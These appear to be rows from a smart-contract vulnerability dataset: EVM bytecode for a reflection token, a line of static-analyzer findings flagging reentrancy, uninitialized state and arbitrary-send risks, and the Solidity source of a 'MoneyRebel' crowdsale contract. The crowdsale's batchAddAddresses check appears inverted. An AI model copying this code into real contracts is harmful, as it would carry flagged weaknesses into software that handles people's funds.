90815260200160002060009054906101000a900460ff16158015612a155750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2a57612a25848484612e97565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae157612adc8484846130f7565b612aed565b612aec8484846133ec565b5b5b5b80612afd57612afc6135b7565b5b50505050565b6000806000612b106135cb565b91509150612b27818361286290919063ffffffff16565b9250505090565b60008083118290612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9f578082015181840152602081019050612b84565b50505050905090810190601f168015612bcc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be657fe5b049050809150509392505050565b6000600c54148015612c0857506000600d54145b15612c1257612c35565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4987613878565b955095509550955095509550612ca787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1d816139b2565b612e278483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea987613878565b955095509550955095509550612f0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307d816139b2565b6130878483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310987613878565b95509550955095509550955061316787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613372816139b2565b61337c8483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fe87613878565b95509550955095509550955061345c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353d816139b2565b6135478483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382d5782600260006009848154811061360557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136ec575081600360006009848154811061368457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370a57600a54683635c9adc5dea0000094509450505050613874565b613793600260006009848154811061371e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e090919063ffffffff16565b925061381e60036000600984815481106137a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e090919063ffffffff16565b915080806001019150506135e6565b5061384c683635c9adc5dea00000600a5461286290919063ffffffff16565b82101561386b57600a54683635c9adc5dea00000935093505050613874565b81819350935050505b9091565b60008060008060008060008060006138958a600c54600d54613b91565b92509250925060006138a5612b03565b905060008060006138b88e878787613c27565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b3565b905092915050565b6000808284019050838110156139a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bc612b03565b905060006139d382846127dc90919063ffffffff16565b9050613a2781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5257613b0e83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6c82600a546138e090919063ffffffff16565b600a81905550613b8781600b5461392a90919063ffffffff16565b600b819055505050565b600080600080613bbd6064613baf888a6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613be76064613bd9888b6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613c1082613c02858c6138e090919063ffffffff16565b6138e090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4085896127dc90919063ffffffff16565b90506000613c5786896127dc90919063ffffffff16565b90506000613c6e87896127dc90919063ffffffff16565b90506000613c9782613c8985876138e090919063ffffffff16565b6138e090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220639b3402b5e3036df39154fb3055b42152fe9fefc9e9717acf1713df7805ff2c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,128
0x52331f7ae3a757d6838b3295738d964b17ac810e
pragma solidity ^0.4.23; contract Owned { address public owner; address public newOwner; constructor() public { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } contract ReentrancyHandlingContract{ bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } } contract ERC20TokenInterface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Crowdsale is ReentrancyHandlingContract, Owned { enum state { pendingStart, crowdsale, crowdsaleEnded } struct ContributorData { uint contributionAmount; uint tokensIssued; } struct Tier { uint minContribution; uint maxContribution; uint bonus; bool tierActive; } mapping (address => uint) public verifiedAddresses; mapping(uint => Tier) public tierList; uint public nextFreeTier = 1; state public crowdsaleState = state.pendingStart; address public multisigAddress; uint public crowdsaleStartBlock; uint public crowdsaleEndedBlock; mapping(address => ContributorData) public contributorList; uint public nextContributorIndex; mapping(uint => address) public contributorIndexes; uint public minCap; uint public maxCap; uint public ethRaised; uint public tokensIssued = 0; uint public blocksInADay; uint public ethToTokenConversion; event CrowdsaleStarted(uint blockNumber); event CrowdsaleEnded(uint blockNumber); event ErrorSendingETH(address to, uint amount); event MinCapReached(uint blockNumber); event MaxCapReached(uint blockNumber); function() noReentrancy payable public { require(crowdsaleState != state.crowdsaleEnded); require(isAddressVerified(msg.sender)); bool stateChanged = checkCrowdsaleState(); if (crowdsaleState == state.crowdsale) { processTransaction(msg.sender, msg.value); } else { refundTransaction(stateChanged); } } function checkCrowdsaleState() internal returns (bool) { if (tokensIssued == maxCap && crowdsaleState != state.crowdsaleEnded) { crowdsaleState = state.crowdsaleEnded; emit CrowdsaleEnded(block.number); return true; } if (block.number >= crowdsaleStartBlock && block.number <= crowdsaleEndedBlock) { if (crowdsaleState != state.crowdsale) { crowdsaleState = state.crowdsale; emit CrowdsaleStarted(block.number); return true; } } else { if (crowdsaleState != state.crowdsaleEnded && block.number > crowdsaleEndedBlock) { crowdsaleState = state.crowdsaleEnded; emit CrowdsaleEnded(block.number); return true; } } return false; } function refundTransaction(bool _stateChanged) internal { if (_stateChanged) { msg.sender.transfer(msg.value); } else { revert(); } } function setEthToTokenConversion(uint _ratio) onlyOwner public { require(crowdsaleState == state.pendingStart); ethToTokenConversion = _ratio; } function setMaxCap(uint _maxCap) onlyOwner public { require(crowdsaleState == state.pendingStart); maxCap = _maxCap; } function calculateEthToToken(uint _eth, uint _bonus) constant public returns(uint) { uint bonusTokens; if (_bonus != 0) { bonusTokens = ((_eth * ethToTokenConversion) * _bonus) / 100; } return (_eth * ethToTokenConversion) + bonusTokens; } function calculateTokenToEth(uint _token, uint _bonus) constant public returns(uint) { uint ethTokenWithBonus = ethToTokenConversion; if (_bonus != 0){ ethTokenWithBonus = ((ethToTokenConversion * _bonus) / 100) + ethToTokenConversion; } return _token / ethTokenWithBonus; } function processTransaction(address _contributor, uint _amount) internal { uint contributionAmount = 0; uint returnAmount = 0; uint tokensToGive = 0; uint contributorTier; uint minContribution; uint maxContribution; uint bonus; (contributorTier, minContribution, maxContribution, bonus) = getContributorData(_contributor); if (block.number >= crowdsaleStartBlock && block.number < crowdsaleStartBlock + blocksInADay){ require(_amount >= minContribution); require(contributorTier == 1 || contributorTier == 2 || contributorTier == 5 || contributorTier == 6 || contributorTier == 7 || contributorTier == 8); if (_amount > maxContribution && maxContribution != 0){ contributionAmount = maxContribution; returnAmount = _amount - maxContribution; } else { contributionAmount = _amount; } tokensToGive = calculateEthToToken(contributionAmount, bonus); } else if (block.number >= crowdsaleStartBlock + blocksInADay && block.number < crowdsaleStartBlock + 2 * blocksInADay) { require(_amount >= minContribution); require(contributorTier == 3 || contributorTier == 5 || contributorTier == 6 || contributorTier == 7 || contributorTier == 8); if (_amount > maxContribution && maxContribution != 0) { contributionAmount = maxContribution; returnAmount = _amount - maxContribution; } else { contributionAmount = _amount; } tokensToGive = calculateEthToToken(contributionAmount, bonus); } else { require(_amount >= minContribution); if (_amount > maxContribution && maxContribution != 0) { contributionAmount = maxContribution; returnAmount = _amount - maxContribution; } else { contributionAmount = _amount; } if(contributorTier == 5 || contributorTier == 6 || contributorTier == 7 || contributorTier == 8){ tokensToGive = calculateEthToToken(contributionAmount, bonus); }else{ tokensToGive = calculateEthToToken(contributionAmount, 0); } } if (tokensToGive > (maxCap - tokensIssued)) { if (block.number >= crowdsaleStartBlock && block.number < crowdsaleStartBlock + blocksInADay){ contributionAmount = calculateTokenToEth(maxCap - tokensIssued, bonus); }else if (block.number >= crowdsaleStartBlock + blocksInADay && block.number < crowdsaleStartBlock + 2 * blocksInADay) { contributionAmount = calculateTokenToEth(maxCap - tokensIssued, bonus); }else{ if(contributorTier == 5 || contributorTier == 6 || contributorTier == 7 || contributorTier == 8){ contributionAmount = calculateTokenToEth(maxCap - tokensIssued, bonus); }else{ contributionAmount = calculateTokenToEth(maxCap - tokensIssued, 0); } } returnAmount = _amount - contributionAmount; tokensToGive = maxCap - tokensIssued; emit MaxCapReached(block.number); } if (contributorList[_contributor].contributionAmount == 0) { contributorIndexes[nextContributorIndex] = _contributor; nextContributorIndex += 1; } contributorList[_contributor].contributionAmount += contributionAmount; ethRaised += contributionAmount; if (tokensToGive > 0) { contributorList[_contributor].tokensIssued += tokensToGive; tokensIssued += tokensToGive; } if (returnAmount != 0) { _contributor.transfer(returnAmount); } } function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public { ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } function withdrawEth() onlyOwner public { require(address(this).balance != 0); require(tokensIssued >= minCap); multisigAddress.transfer(address(this).balance); } function investorCount() constant public returns(uint) { return nextContributorIndex; } function setCrowdsaleStartBlock(uint _block) onlyOwner public { require(crowdsaleState == state.pendingStart); crowdsaleStartBlock = _block; } function setCrowdsaleEndBlock(uint _block) onlyOwner public { require(crowdsaleState == state.pendingStart); crowdsaleEndedBlock = _block; } function isAddressVerified(address _address) public view returns (bool) { if (verifiedAddresses[_address] == 0){ return false; } else { return true; } } function getContributorData(address _contributor) public view returns (uint, uint, uint, uint) { uint contributorTier = verifiedAddresses[_contributor]; return (contributorTier, tierList[contributorTier].minContribution, tierList[contributorTier].maxContribution, tierList[contributorTier].bonus); } function addAddress(address _newAddress, uint _tier) public onlyOwner { require(verifiedAddresses[_newAddress] == 0); verifiedAddresses[_newAddress] = _tier; } function removeAddress(address _oldAddress) public onlyOwner { require(verifiedAddresses[_oldAddress] != 0); verifiedAddresses[_oldAddress] = 0; } function batchAddAddresses(address[] _addresses, uint[] _tiers) public onlyOwner { require(_addresses.length == _tiers.length); for (uint cnt = 0; cnt < _addresses.length; cnt++) { assert(verifiedAddresses[_addresses[cnt]] != 0); verifiedAddresses[_addresses[cnt]] = _tiers[cnt]; } } } contract MoneyRebelCrowdsaleContract is Crowdsale { constructor() public { crowdsaleStartBlock = 5578000; crowdsaleEndedBlock = 5618330; minCap = 0 * 10**18; maxCap = 744428391 * 10**18; ethToTokenConversion = 13888; blocksInADay = 5760; multisigAddress = 0x352C30f3092556CD42fE39cbCF585f33CE1C20bc; tierList[1] = Tier(2*10**17,35*10**18,10, true); tierList[2] = Tier(2*10**17,35*10**18,10, true); tierList[3] = Tier(2*10**17,25*10**18,0, true); tierList[4] = Tier(2*10**17,100000*10**18,0, true); tierList[5] = Tier(2*10**17,100000*10**18,8, true); tierList[6] = Tier(2*10**17,100000*10**18,10, true); tierList[7] = Tier(2*10**17,100000*10**18,12, true); tierList[8] = Tier(2*10**17,100000*10**18,15, true); } }
0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631790bd17146102995780631ecca3161461030657806320d191811461033157806323548b8b1461035c5780633fa615b014610387578063470d7722146103b25780634b1cab4e1461045b5780634ba79dfe146104a65780634e35b4d2146104e95780635462870d1461054357806363c056501461059a578063763265de146105e757806379ba5097146106145780637c48bbda1461062b57806380948ddd146106565780638da5cb5b146106a157806392acb4d6146106f85780639561a03814610756578063a0472d6c14610781578063a0929cda146107ac578063a0ef91df14610819578063a50cce5014610830578063a789e29c14610887578063c15d7bca146108f3578063c426fbb614610920578063c9330bfb1461094d578063cdd3574a14610978578063d4ee1d90146109a3578063d7e64c00146109fa578063da9dd8bf14610a25578063e7bb523314610a80578063f2fde38b14610ab9578063f755a98b14610afc578063fddf0fc014610b29575b60008060009054906101000a900460ff161515156101c957600080fd5b60016000806101000a81548160ff0219169083151502179055506002808111156101ef57fe5b600560009054906101000a900460ff16600281111561020a57fe5b1415151561021757600080fd5b61022033610b54565b151561022b57600080fd5b610233610bb0565b90506001600281111561024257fe5b600560009054906101000a900460ff16600281111561025d57fe5b14156102725761026d3334610dac565b61027c565b61027b81611297565b5b60008060006101000a81548160ff02191690831515021790555050005b3480156102a557600080fd5b506102c4600480360381019080803590602001909291905050506112f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031257600080fd5b5061031b611324565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061034661132a565b6040518082815260200191505060405180910390f35b34801561036857600080fd5b50610371611330565b6040518082815260200191505060405180910390f35b34801561039357600080fd5b5061039c611336565b6040518082815260200191505060405180910390f35b3480156103be57600080fd5b50610459600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061133c565b005b34801561046757600080fd5b50610490600480360381019080803590602001909291908035906020019092919050505061149b565b6040518082815260200191505060405180910390f35b3480156104b257600080fd5b506104e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114ce565b005b3480156104f557600080fd5b50610514600480360381019080803590602001909291905050506115be565b604051808581526020018481526020018381526020018215151515815260200194505050505060405180910390f35b34801561054f57600080fd5b506105586115fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a657600080fd5b506105e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611621565b005b3480156105f357600080fd5b5061061260048036038101908080359060200190929190505050611710565b005b34801561062057600080fd5b506106296117a7565b005b34801561063757600080fd5b50610640611985565b6040518082815260200191505060405180910390f35b34801561066257600080fd5b5061068b600480360381019080803590602001909291908035906020019092919050505061198b565b6040518082815260200191505060405180910390f35b3480156106ad57600080fd5b506106b66119ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070457600080fd5b50610739600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f0565b604051808381526020018281526020019250505060405180910390f35b34801561076257600080fd5b5061076b611a14565b6040518082815260200191505060405180910390f35b34801561078d57600080fd5b50610796611a1a565b6040518082815260200191505060405180910390f35b3480156107b857600080fd5b50610817600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a20565b005b34801561082557600080fd5b5061082e611b5d565b005b34801561083c57600080fd5b50610871600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c72565b6040518082815260200191505060405180910390f35b34801561089357600080fd5b506108c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c8a565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b3480156108ff57600080fd5b5061091e60048036038101908080359060200190929190505050611d2a565b005b34801561092c57600080fd5b5061094b60048036038101908080359060200190929190505050611dc1565b005b34801561095957600080fd5b50610962611e58565b6040518082815260200191505060405180910390f35b34801561098457600080fd5b5061098d611e5e565b6040518082815260200191505060405180910390f35b3480156109af57600080fd5b506109b8611e64565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a0657600080fd5b50610a0f611e8a565b6040518082815260200191505060405180910390f35b348015610a3157600080fd5b50610a66600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b54565b604051808215151515815260200191505060405180910390f35b348015610a8c57600080fd5b50610a95611e94565b60405180826002811115610aa557fe5b60ff16815260200191505060405180910390f35b348015610ac557600080fd5b50610afa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ea7565b005b348015610b0857600080fd5b50610b2760048036038101908080359060200190929190505050611fa1565b005b348015610b3557600080fd5b50610b3e612038565b6040518082815260200191505060405180910390f35b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ba65760009050610bab565b600190505b919050565b6000600c54600e54148015610bea5750600280811115610bcc57fe5b600560009054906101000a900460ff166002811115610be757fe5b14155b15610c53576002600560006101000a81548160ff02191690836002811115610c0e57fe5b02179055507f9145a7fd7de2aa5b50a289cf5dd2e2d100aa067911e49855b88f94b5a196f04b436040518082815260200191505060405180910390a160019050610da9565b6006544310158015610c6757506007544311155b15610d045760016002811115610c7957fe5b600560009054906101000a900460ff166002811115610c9457fe5b141515610cff576001600560006101000a81548160ff02191690836002811115610cba57fe5b02179055507f712173de1d50109191e0d0671c67415bf3d44508558069796106054c5600d501436040518082815260200191505060405180910390a160019050610da9565b610da4565b600280811115610d1057fe5b600560009054906101000a900460ff166002811115610d2b57fe5b14158015610d3a575060075443115b15610da3576002600560006101000a81548160ff02191690836002811115610d5e57fe5b02179055507f9145a7fd7de2aa5b50a289cf5dd2e2d100aa067911e49855b88f94b5a196f04b436040518082815260200191505060405180910390a160019050610da9565b5b600090505b90565b60008060008060008060008096506000955060009450610dcb89611c8a565b809450819550829650839750505050506006544310158015610df25750600f546006540143105b15610e8357828810151515610e0657600080fd5b6001841480610e155750600284145b80610e205750600584145b80610e2b5750600684145b80610e365750600784145b80610e415750600884145b1515610e4c57600080fd5b8188118015610e5c575060008214155b15610e6e578196508188039550610e72565b8796505b610e7c878261149b565b9450610fa7565b600f54600654014310158015610ea15750600f546002026006540143105b15610f2757828810151515610eb557600080fd5b6003841480610ec45750600584145b80610ecf5750600684145b80610eda5750600784145b80610ee55750600884145b1515610ef057600080fd5b8188118015610f00575060008214155b15610f12578196508188039550610f16565b8796505b610f20878261149b565b9450610fa6565b828810151515610f3657600080fd5b8188118015610f46575060008214155b15610f58578196508188039550610f5c565b8796505b6005841480610f6b5750600684145b80610f765750600784145b80610f815750600884145b15610f9757610f90878261149b565b9450610fa5565b610fa287600061149b565b94505b5b5b600e54600c54038511156110bf576006544310158015610fcc5750600f546006540143105b15610fe857610fe1600e54600c54038261198b565b9650611079565b600f546006540143101580156110065750600f546002026006540143105b156110225761101b600e54600c54038261198b565b9650611078565b60058414806110315750600684145b8061103c5750600784145b806110475750600884145b156110635761105c600e54600c54038261198b565b9650611077565b611074600e54600c5403600061198b565b96505b5b5b8688039550600e54600c540394507f38caa2c61728c18eb71cbd06d1915e4164ffe51c69a09b68d78be1f125a5dea7436040518082815260200191505060405180910390a15b6000600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414156111705788600a6000600954815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016009600082825401925050819055505b86600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254019250508190555086600d60008282540192505081905550600085111561123a5784600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254019250508190555084600e600082825401925050819055505b60008614151561128c578873ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f1935050505015801561128a573d6000803e3d6000fd5b505b505050505050505050565b80156112e9573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156112e3573d6000803e3d6000fd5b506112ee565b600080fd5b50565b600a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60075481565b600c5481565b600b5481565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139657fe5b815183511415156113a657600080fd5b600090505b82518110156114965760006002600085848151811015156113c857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415151561141757fe5b818181518110151561142557fe5b9060200190602002015160026000858481518110151561144157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806001019150506113ab565b505050565b6000806000831415156114be576064836010548602028115156114ba57fe5b0490505b8060105485020191505092915050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152757fe5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415151561157657600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60036020528060005260406000206000915090508060000154908060010154908060020154908060030160009054906101000a900460ff16905084565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167a57fe5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415156116c857600080fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176957fe5b6000600281111561177657fe5b600560009054906101000a900460ff16600281111561179157fe5b14151561179d57600080fd5b80600c8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180357600080fd5b7f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060105490506000831415156119b557601054606484601054028115156119b057fe5b040190505b80848115156119c057fe5b0491505092915050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090508060000154908060010154